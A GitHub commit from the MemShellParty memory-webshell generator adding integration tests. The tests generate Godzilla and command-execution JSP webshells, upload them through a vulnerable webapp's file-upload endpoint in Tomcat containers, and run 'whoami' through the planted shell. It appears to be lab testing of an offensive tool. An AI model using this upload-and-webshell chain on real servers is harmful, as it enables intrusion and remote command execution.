mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
test: support integration test summary
This commit is contained in:
ReaJason
+78
@@ -0,0 +1,78 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.platform.engine.TestExecutionResult;
|
||||
import org.junit.platform.engine.UniqueId;
|
||||
import org.junit.platform.launcher.TestExecutionListener;
|
||||
import org.junit.platform.launcher.TestIdentifier;
|
||||
import org.junit.platform.launcher.TestPlan;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.nio.file.StandardOpenOption;
|
||||
import java.time.Duration;
|
||||
import java.time.Instant;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/1
|
||||
*/
|
||||
public class MarkdownTestExecutionListener implements TestExecutionListener {
|
||||
|
||||
private final Map<UniqueId, Instant> timeStamps = new HashMap<>();
|
||||
private Instant startTime;
|
||||
private final Path markdownPath = Paths.get("build", "test-results", "result.md");
|
||||
private final List<String> testResults = new ArrayList<>();
|
||||
|
||||
@SneakyThrows
|
||||
@Override
|
||||
public void testPlanExecutionStarted(TestPlan testPlan) {
|
||||
Files.deleteIfExists(markdownPath);
|
||||
ArrayList<String> lines = new ArrayList<>();
|
||||
lines.add("## Integration Test");
|
||||
startTime = Instant.now();
|
||||
lines.add("- Started At: " + startTime);
|
||||
Files.write(markdownPath, lines, StandardOpenOption.CREATE_NEW);
|
||||
|
||||
testResults.add("| **Image Name** | **Shell Type** | **Packer** | **Status**| **Duration(ms)** |");
|
||||
testResults.add("|----------------|----------------|------------|-----------|------------------|");
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public void testPlanExecutionFinished(TestPlan testPlan) {
|
||||
List<String> lines = new ArrayList<>();
|
||||
Instant endTime = Instant.now();
|
||||
lines.add("- Finished At: " + endTime);
|
||||
lines.add("- Total Duration: " + Duration.between(startTime, endTime).getSeconds() + " seconds");
|
||||
lines.add("");
|
||||
lines.addAll(testResults);
|
||||
Files.write(markdownPath, lines, StandardOpenOption.APPEND);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void executionFinished(TestIdentifier testIdentifier, TestExecutionResult testExecutionResult) {
|
||||
if (testIdentifier.isTest()) {
|
||||
Instant startTime = timeStamps.get(testIdentifier.getUniqueIdObject());
|
||||
if (startTime != null) {
|
||||
String[] split = testIdentifier.getDisplayName().split("\\|");
|
||||
if (split.length == 3) {
|
||||
String status = testExecutionResult.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL) ? "✔" : "✘";
|
||||
testResults.add("|" + split[0].trim() + "|" + split[1].trim() + "|" + split[2].trim() + "|" + status + "|" + Duration.between(startTime, Instant.now()).toMillis() + "|");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void executionStarted(TestIdentifier testIdentifier) {
|
||||
if (testIdentifier.isTest()) {
|
||||
timeStamps.put(testIdentifier.getUniqueIdObject(), Instant.now());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.CommandShellConfig;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.HttpUrl;
|
||||
import okhttp3.OkHttpClient;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.Response;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/30
|
||||
*/
|
||||
@Slf4j
|
||||
public class CommandShellTool {
|
||||
|
||||
public static String generateJsp(Server server, CommandShellConfig config, String shellType, int targetJdkVersion) {
|
||||
ShellTool shellTool = ShellTool.COMMAND;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) {
|
||||
OkHttpClient okHttpClient = new OkHttpClient();
|
||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||
.newBuilder()
|
||||
.addQueryParameter(shellConfig.getParamName(), "whoami")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.get().build();
|
||||
|
||||
try (Response response = okHttpClient.newCall(request).execute()) {
|
||||
String res = response.body().string();
|
||||
assertEquals("root", res.trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/30
|
||||
*/
|
||||
public class GodzillaShellTool {
|
||||
|
||||
public static String generateJsp(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
|
||||
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
|
||||
, shellConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/30
|
||||
*/
|
||||
public class VulTool {
|
||||
|
||||
@SneakyThrows
|
||||
public static void urlIsOk(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url).build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
Assertions.assertTrue(response.isSuccessful());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
public static void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
|
||||
MediaType mediaType = MediaType.parse("text/plain");
|
||||
RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType);
|
||||
MultipartBody requestBody = new MultipartBody.Builder()
|
||||
.setType(MultipartBody.FORM)
|
||||
.addFormDataPart("file", filename, fileRequestBody)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(uploadUrl).post(requestBody)
|
||||
.build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
Assertions.assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
package com.reajason.javaweb.integration.tomcat;
|
||||
|
||||
import com.reajason.javaweb.config.CommandShellConfig;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.integration.CommandShellTool;
|
||||
import com.reajason.javaweb.integration.GodzillaShellTool;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Nested;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.nio.file.Paths;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class TomcatIntegrationTest {
|
||||
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
||||
|
||||
// https://hub.docker.com/_/tomcat/tags
|
||||
public static final String tomcat6ImageName = "reajason/tomcat:6-jdk6";
|
||||
public static final String tomcat7ImageName = "tomcat:7.0.85-jre7";
|
||||
public static final String tomcat8ImageName = "tomcat:8-jre8";
|
||||
public static final String tomcat9ImageName = "tomcat:9-jre9";
|
||||
public static final String tomcat10ImageName = "tomcat:10.1-jre11";
|
||||
public static final String tomcat11ImageName = "tomcat:11.0-jre17";
|
||||
|
||||
public String getUrl(GenericContainer<?> tomcat) {
|
||||
String host = tomcat.getHost();
|
||||
int port = tomcat.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat6 {
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat6ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat7 {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat7ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
|
||||
@ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat8 {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat8ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat9 {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat9ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP")
|
||||
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat10 {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat10ImageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat11 {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat = new GenericContainer<>(tomcat11ImageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP")
|
||||
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
|
||||
void testGodzilla(String shellType) {
|
||||
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP")
|
||||
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
|
||||
void testCommand(String shellType) {
|
||||
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
private void testGodzillaJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
|
||||
String pass = "pass" + shellType;
|
||||
String key = "key" + shellType;
|
||||
String headerValue = "Godzilla" + shellType;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass(pass).key(key)
|
||||
.headerName("User-Agent").headerValue(headerValue)
|
||||
.build();
|
||||
String jspContent = GodzillaShellTool.generateJsp(Server.TOMCAT, shellConfig, shellType, targetJdkVersion);
|
||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||
String filename = shellType + ".jsp";
|
||||
String uploadEntry = url + "/upload";
|
||||
String jspEntry = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
|
||||
VulTool.urlIsOk(jspEntry);
|
||||
GodzillaShellTool.testIsOk(jspEntry, shellConfig);
|
||||
}
|
||||
|
||||
private void testCommandJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
|
||||
String paramName = "Command" + shellType;
|
||||
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
|
||||
String jspContent = CommandShellTool.generateJsp(Server.TOMCAT, config, shellType, targetJdkVersion);
|
||||
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
|
||||
String filename = shellType + ".jsp";
|
||||
String uploadEntry = url + "/upload";
|
||||
String jspEntry = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
|
||||
VulTool.urlIsOk(jspEntry);
|
||||
CommandShellTool.testIsOk(jspEntry, config);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user